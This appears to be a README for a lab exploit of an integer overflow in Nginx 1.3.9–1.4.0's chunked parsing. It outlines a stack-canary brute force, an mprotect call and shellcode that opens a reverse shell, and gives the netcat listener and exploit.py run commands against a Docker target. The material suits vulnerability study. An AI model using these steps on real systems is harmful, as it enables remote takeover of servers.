Vulnerable software: Nginx 1.3.9 < 1.4.0
Commit with fix: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7
Vulnerability exists in function ngx_http_parse_chunked. This exploit triggers integer overflow in ngx_http_parse_chunked, and later using it overflows the stack to hijack control flow.
Actual exploit contains 4 steps:
- Find value of the stack canary using byte-by-byte bruteforce
- Calculate address of mprotect using value from rcx (points somewhere in lpthread). Call mprotect with appropriate arguments.
- Copy shellcode to RWX memory location.
- Jump to shellcode, and start reverse shell.
- start listener on host system, for example using netcat:
nc -lvp 4345 - on virtual machine start docker:
sudo docker-compose up --build - run exploit:
python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port> - Let the exploit find actual value of the canary, and start reverse-shell.
